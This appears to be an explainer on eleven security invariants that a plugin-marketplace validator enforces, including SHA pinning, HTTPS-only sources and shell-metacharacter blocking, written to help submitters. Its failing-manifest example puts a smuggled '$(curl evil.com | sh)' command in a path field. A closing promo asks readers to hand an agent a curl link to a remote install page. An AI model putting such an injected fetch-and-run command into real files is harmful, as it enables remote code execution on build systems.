Claude Plugin Security Invariants: 11 Mandatory Rules for Safe Submission
Claude plugins must pass 11 strict security invariants (I1–I11) enforced by the validate-plugins GitHub Action, covering everything from alphabetical ordering and SHA verification to Unicode sanitization and shell-injection prevention.
The anthropics/claude-plugins-community repository enforces these invariants on every pull request to ensure that plugins in the marketplace are deterministic, reproducible, and free from hidden malicious payloads. Unlike generic marketplace guidelines, these rules are machine-enforced and will block any submission that fails validation.
What Are Claude Plugin Security Invariants?
Security invariants are non-negotiable constraints that every plugin manifest must satisfy. The validate-plugins tool runs as a GitHub Action in .github/workflows/validate-plugins.yml, scanning both the assembled marketplace.json and individual plugins/<name>.json files before any merge can complete.
These invariants are documented in .github/actions/validate-plugins/README.md at lines 143–153, with the actual implementation distributed across shell scripts in .github/actions/validate-plugins/lib/common.sh.
The 11 Security Invariants Explained
Structural and Ordering Invariants (I1–I2)
| Invariant | Requirement | Security Purpose |
|---|---|---|
| I1 (Alphabetical Sorting) | plugins[] array must be sorted alphabetically by name |
Prevents "dependency-drift" attacks where malicious entries hide in unsorted lists |
| I2 (Unique Names) | No duplicate name values allowed |
Eliminates identifier ambiguity and plugin takeover risks |
The alphabetical sorting check operates on the final marketplace.json structure. In .github/actions/validate-plugins/lib/common.sh, this is implemented as a validation pass that compares each entry's name against its predecessor.
Metadata Quality Invariants (I3, I10–I11)
I3: Description Constraints
- Length: 10–2000 characters
- No leading or trailing whitespace
This blocks injection of hidden whitespace that could affect downstream tooling or cause display inconsistencies.
I10: Unicode Sanitization
nameanddescriptionmust contain no hidden Unicode characters- Blocked: zero-width spaces, BOM markers, bidirectional override controls
These invisible payloads are a known attack vector for misleading users and bypassing simple string comparisons.
I11: Name Format
- Regex pattern:
^[a-z0-9][a-z0-9-]{1,63}$ - 63-character maximum, lowercase alphanumeric and hyphens only
This produces URL-safe, shell-safe identifiers without special characters that could break tooling.
Source Integrity Invariants (I4–I5, I8)
I4: URL/Repository Validation
- Must match
^https://[A-Za-z0-9./_-]+$orowner/repoformat - HTTP is explicitly rejected
- Prevents SSRF attacks and malicious redirects through URL manipulation
I5: Immutable Commits
- Every external source must provide a 40-character lowercase hexadecimal SHA
- The exact commit hash is verified before any code is fetched
This ensures reproducible builds: the same plugin submission always resolves to identical source code.
I8: Vendored Source Verification
- Vendored
sourcepaths must exist and contain.claude-plugin/plugin.json - Confirms that bundled code actually supplies a valid plugin manifest
Injection Prevention Invariants (I6–I7, I9)
I6: Filename-Name Consistency
- Per-file plugins at
plugins/<x>.jsonmust have.name == "x" - Prevents mismatched or intentionally deceptive plugin entries
I7: Marketplace File Protection
- PRs must not edit
marketplace.jsondirectly - This file is auto-generated; direct edits could inject unauthorized entries
I9: Shell Metacharacter Blocking
- All string fields under
sourcemust contain no shell metacharacters - Blocked characters include
$,(,),`,|,;,&,<,>
This stops command-injection attacks when plugin data is later used in shell scripts or CI pipelines.
Valid Plugin Manifest Example
A compliant plugin.json that passes all 11 invariants:
{
"name": "weather-lookup",
"description": "Provides current weather conditions for any location worldwide using OpenWeatherMap data.",
"source": {
"url": "https://github.com/example/weather-lookup",
"sha": "a1b2c3d4e5f6789012345678901234567890abcd",
"path": "src"
}
}
This passes because:
namematches I11's regex: lowercase, starts with letter, contains only hyphens and alphanumericsdescriptionis 95 characters with no surrounding whitespace (I3)urluses HTTPS with valid pattern (I4)shais exactly 40 lowercase hex characters (I5)- File location
plugins/weather-lookup.jsonmatches thenamefield (I6)
Common Violation Patterns
This manifest fails multiple invariants:
{
"name": "Bad_Plugin",
"description": "Short.",
"source": {
"url": "http://insecure.example.com/plugin",
"sha": "abc123",
"path": "$(curl evil.com | sh)"
}
}
Failures detected:
namecontains underscore and uppercase, violating I11descriptionis under 10 characters, violating I3urluses HTTP scheme, violating I4shais only 6 characters, violating I5pathcontains$(shell metacharacters, violating I9
Running Validation Locally
Test your plugin against all invariants before submitting:
# Clone the repository and navigate to the validation tool
git clone https://github.com/anthropics/claude-plugins-community.git
cd claude-plugins-community/.github/actions/validate-plugins
# Run validation against repository root
./validate.sh ../..
The script outputs specific invariant violations and exits with non-zero status for any ERROR-level failure. In .github/actions/validate-plugins/lib/common.sh, each invariant maps to a check function that returns standardized exit codes.
Key Implementation Files
| Path | Purpose |
|---|---|
.github/actions/validate-plugins/README.md |
Full invariant documentation with rationale |
.github/actions/validate-plugins/lib/common.sh |
Core validation logic: regex matching, SHA verification, Unicode filtering |
.github/workflows/validate-plugins.yml |
CI workflow triggered on every PR |
plugins/*/plugin.json |
Example compliant manifests for reference |
Summary
- 11 invariants (I1–I11) enforce structural, integrity, and injection-prevention requirements on every Claude plugin submission
- Three categories: ordering/structure (I1–I2), metadata quality (I3, I10–I11), source integrity (I4–I5, I8), and injection prevention (I6–I7, I9)
- Machine-enforced: the
validate-pluginsGitHub Action blocks merge for any ERROR-level violation - Reproducibility guaranteed: 40-character SHA requirements and HTTPS-only sources prevent drift and MITM attacks
- Local validation available: run
./validate.shfrom.github/actions/validate-pluginsbefore submitting PRs
Frequently Asked Questions
What happens if my plugin fails an invariant?
The validate-plugins GitHub Action will annotate your pull request with specific invariant violations and block merge until resolved. ERROR-level invariants (most security-critical rules) cause immediate CI failure. Some invariants may be configured as warnings, but all 11 listed here are enforced as errors in the current configuration.
Can I request an exception to an invariant?
No. These invariants are designed to be non-negotiable security boundaries. Unlike style guidelines, they protect against concrete attack vectors—SSRF, command injection, reproducibility failures, and hidden Unicode payloads. Any relaxation would require modifying the validation source code in .github/actions/validate-plugins/lib/common.sh and updating the documented policy.
Why is alphabetical sorting (I1) a security invariant?
Unsorted lists create opportunities for "dependency-drift" attacks where a malicious entry hides between legitimate plugins, or where diff review becomes unreliable. Alphabetic ordering makes the marketplace.json structure deterministic and auditable—any insertion, deletion, or reordering produces an obvious, reviewable change in the file's diff.
How does the SHA requirement (I5) improve security over version tags?
Git tags are mutable: a maintainer can force-push to move a tag to different commit hashes. The 40-character SHA invariant eliminates this supply-chain risk by pinning to an exact, immutable commit. This ensures that every installation of your plugin uses byte-for-byte identical source code, regardless of any later changes to the upstream repository.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →